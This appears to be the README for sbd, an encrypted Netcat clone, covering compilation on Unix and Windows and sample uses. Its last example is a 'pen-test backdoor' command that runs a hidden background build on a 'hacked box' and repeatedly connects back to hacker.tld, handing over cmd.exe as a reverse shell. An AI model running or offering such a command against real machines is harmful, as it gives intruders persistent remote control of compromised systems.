sbd is a Netcat-clone, designed to be portable and offer strong encryption. It
runs on Unix-like operating systems and on Microsoft Win32. sbd features
AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution
(-e option), choosing source port, continuous reconnection with delay, and
some other nice features. sbd supports TCP/IP communication only. Source code
and binaries are distributed under the GNU General Public License.

COMPILATION
~~~~~~~~~~~

To compile sbd under a Unix-like operating system you need gcc and relevant
development tools. For Linux, FreeBSD, NetBSD, OpenBSD (and possibly others),
type:
    $ make unix

For SunOS/Solaris, type:
    $ make sunos

To compile sbd under Microsoft Windows (NT/2K/XP/2K3) you need MinGW+MSYS, or
Cygwin with full development support (Cygwin's MinGW gcc). To compile a native
Win32 sbd console application under Cygwin, type:

    $ make win32

    or, under MSYS:

    $ make mingw

To compile a no-console ("WinMain") application under Cygwin, type:

    $ make win32bg

    or, under MSYS:

    $ make mingwbg

To compile a Cygwin-specific console application, type:

    $ make cygwin


You may want to change the default behaviour of sbd. One of the most important
thing is to change the default shared secret to your own pass phrase. Edit
sbd.h and replace with your preferences. You may, for example, want to
hardcode a host + port to connect to if sbd is started without options.
Complete examples are provided in sbd.h.


SAMPLE USES
~~~~~~~~~~~

With a little imagination, sbd can be used for many things...

    * Use sbd to securely transfer files between two networks:

        snafu$ sbd -l -p 12345 -k secret > output.file

        fubar$ cat input.file | sbd -k secret snafu 12345

        or from win32:
        C:\somedir>type input.fil | sbd -k secret snafu 12345

    * Use sbd as a simple (but secure) chat:

        snafu$ sbd -P snafu -Hon fubar 1234

        fubar$ sbd -Pfubar -Hon -l -p 1234

    * Use sbd as a pen-test backdoor:

        C:\hacked box>sbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

Blomgren